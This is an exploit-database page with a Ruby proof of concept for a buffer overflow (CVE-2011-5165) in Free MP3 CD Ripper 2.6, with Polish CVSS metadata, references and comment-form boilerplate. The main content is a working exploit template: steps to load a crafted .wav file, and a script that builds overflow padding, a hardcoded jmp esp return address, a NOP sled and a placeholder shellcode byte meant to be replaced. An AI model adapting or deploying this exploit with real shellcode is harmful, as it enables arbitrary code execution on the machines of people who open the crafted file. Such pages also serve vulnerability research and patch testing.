Free MP3 CD Ripper 2.6 (wav) Ruby PoC

2012.09.17

Credit: Richard leahy

Risk: High

Local: Yes

Remote: No

CVE: CVE-2011-5165

CWE: CWE-119

Ogólna skala CVSS: 9.3/10

Znaczenie: 10/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

# Exploit Title: Free MP3 CD Ripper 2.6 (wav) 0-day
# Date: 30/03/2010
# Author: Richard leahy
# Software Link: http://www.soft32.com/Download/Free/Free_MP3_CD_Ripper/4-250188-1.html
# Version: 2.6
# Tested on: Windows Xp Sp2
#to exploit this open up the application select file -> wav converter -> wav to mp3
#use your favourite programming language and print out the contents into a text file. save the text #file as a .wav
#then open up the wav file and boom.
#feel free to email me leahy_rich@hotmail.com
#code
!#/usr/bin/env ruby
nop = "\x90" # nop
shellcode = "\xCC" #just an interupt can be replaced by proper shellcode
jmp_esp = "\x32\xfa\xca\x76" #find a jmp esp i will use imagehlp , little endian so reverse it
boom = "A" * 4112 + jmp_esp + nop * 50 + shellcode
puts boom

Referencje:

http://www.securityfocus.com/bid/39672

http://www.osvdb.org/63349

http://www.exploit-db.com/exploits/18142

http://www.exploit-db.com/exploits/17727

http://www.exploit-db.com/exploits/11976

http://www.exploit-db.com/exploits/11975

http://secunia.com/advisories/39193

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Free MP3 CD Ripper 2.6 (wav) Ruby PoC

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.